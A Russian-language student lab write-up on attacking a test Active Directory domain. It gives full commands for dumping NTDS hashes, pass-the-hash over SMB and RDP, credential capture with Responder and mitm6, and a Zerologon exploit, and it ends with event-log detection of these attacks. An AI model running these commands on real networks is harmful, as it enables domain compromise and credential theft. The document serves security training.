# Win. Практическая работа 6.1 1. Провести анализ базы NTDS Создаем дамп базы даных NTDS и двух веток реестра ![](https://i.imgur.com/7owbUrw.jpg) Проверяем на диске ![](https://i.imgur.com/Xk8aTyV.jpg) Передадим эти файлы для анализа на Кали используя smbclient ![](https://i.imgur.com/uEz2lPN.jpg) А для анализа будем использовать impacket. После установки impacket перейдем в папку examples и запустим скрипт secretsdump.py выполнив следующую команду: ``` python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL ``` Анализируем \*.dit файл. В результате работы скрипта мы должны получить хеши паролей пользователей. Их насыпало много... ![](https://i.imgur.com/s0j0pJQ.jpg) Формат предоставленных данных указан в строке `Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)`. Здесь нас интересует nthash. **2. Выполнить атаку “Path-the-hash”** Атаку начинаем с базового исследования структуры с помощью crackmapexec. Выполним `crackmapexec 192.168.10.0/24` В результате получили достаточно информации для осуществления нашей атаки - ip ресурсов и их имена, установленные системы. Хеши у нас уже есть. ![](https://i.imgur.com/ONlQAkS.jpg) Далее пробуем тестовый запрос с какой-нибудь простой командой `crackmapexec smb 192.168.10.200 -u AdmPetr -H 5df2fd1109e3d3b60f110965f6af128 -x whoami` ![](https://i.imgur.com/kdlF8P7.jpg) Получилось. Есть также команда позволяющая увидеть, к каким сетевым папкам имеет доступ пользователь. `crackmapexec smb 192.168.10.200 -u AdmPetr -H 5df2fd1109e3d3b60f110965f6af128 --shares` И даже сделать полноценный реверс-шелл. Правда, с помощью другой утилиты. `python3 smbexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128` ![](https://i.imgur.com/A5oUbaP.jpg) А теперь давайте на рабочий стол зайдем. По RDP. Но для начала, нужно проверить что доступ по RDP включен для админов (в панели управления/ Система и безопасность). А также изменим реестр командой в PoSH: ``` New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force ``` А поскольку у нас включена политика аудита PoSH. Мы можем обнаружить выполнение этой команды в журнале: ![](https://i.imgur.com/nF2wcOE.jpg) Пробуем соединиться по RDP. Вводим команду: `xfreerdp /d:pt.local /u:Administrator /v:192.168.10.200 /pth:43db659d9deecd24aeb8391d5782a8bf` Получилось! ![](https://i.imgur.com/dXskWi3.jpg) 3. Реализовать атаки на базовые протоколы Windows Для прослушки будем использовать responder. Сначал проведем аудит инфрастурктуры командой `responder -I eth0 -A` Далее, на win10 попробуем зайти на несуществующий сетевой ресурс. Респондер увидит запросы по LLNMR, NBNS ![](https://i.imgur.com/kRemQmZ.jpg) Теперь попробуем атаковать. Перезапустим респондер с командой `responder -I eth0 -wFv` Повторно введем несуществующее сетевое имя. Компьютер запросил креды. Это значит, что Респондер отреагировал на наш запрос: ![](https://i.imgur.com/OoB4lw9.jpg) И когда мы ввели пароль, Респондер перехватил его хеш. ![](https://i.imgur.com/M95OGVs.jpg) Этот хеш можно брутфорсить. Выполним атаку используя mitm6, который съимитирует нам dhcp v6, а шестая версия этого протокола приоритетнее четверой. Введем команду `mitm6 -d pt.local` ![](https://i.imgur.com/NZjmqzb.jpg) Как видим, настройка адаптера на Win10 поменялась. Было: ![](https://i.imgur.com/ZrqpKiJ.jpg) Стало: ![](https://i.imgur.com/1yrrJR2.jpg) Теперь, создадим свой сервера SMB не отключая mitm6. Для этого используем impacket -> smbserver.py Введем команду `python3 smbserver.py -smb2support SMB /root/SMB` а на win10 попробуем зайти на наш домен. ![](https://i.imgur.com/vQ0cCxl.jpg) В это время, smbserver принял аутентификационные данные с win10 ![](https://i.imgur.com/Vq1wR3e.jpg) С этими данными протокола NTLMv2 уже можно работать, обрабатывая их с помощью hashcat или John the ripper. ## Практическая работа 6.2 1. Провести эксплуатацию уязвимостей контроллера домена **Предварительно:** Нужно включить политику аудита машинных учетных записей. Она находится по пути: Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant Теперь приступим к атаке. Скачаем подходящий эксплойт для проведения zerologon. `git clone https://github.com/risksense/zerologon` Запустим, и увидим, что произошло обнуление пароля машинной УЗ на DC1. ![](https://i.imgur.com/AhnEV2a.jpg) Значит теперь мы можем сдампить NTDS с помощью secretsdump. Используем команду: `python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'` ![](https://i.imgur.com/tyILco4.jpg) С помщью этих хешей можно выполнять любые команды, которые уже описаны в п.2 практики 6.1. 2. Найти следы эксплуатации уязвимостей События ищем с помощью Event Viwer, а также можно с помощью команд в cmd. В журнале System, находим ошибку Netlogon. ![](https://i.imgur.com/OwygAFN.jpg) В журнале Security, найдем событие 4742. ![](https://i.imgur.com/z88Fubn.jpg) ANONYMOUS LOGON - это вообще непонятно кто авторизовывался. Надо разбираться. Еще один признак - изменен пароль (поле password last set). > При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823 > Проверим это. Найдём событие 5823 в журнале System. ![](https://i.imgur.com/zrdb1mI.jpg) По времени эти два события не связаны. Произошли с разрывом в несколько дней. Причем, сначала произошло 5823, потом - 4742. Но если поискать события 4742, связанные по дате с 5823, то мы их найдем, и это будут легитимные события. Для поиска с помощью Power shell можно использовать, например, следующие команды: ``` Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4742} Get-WinEvent –FilterHashTable @{LogName=’System’;ID=5805} ``` Чтобы найти дамп NTDS, нужно искать данные выгрузки в журнале Directory Service: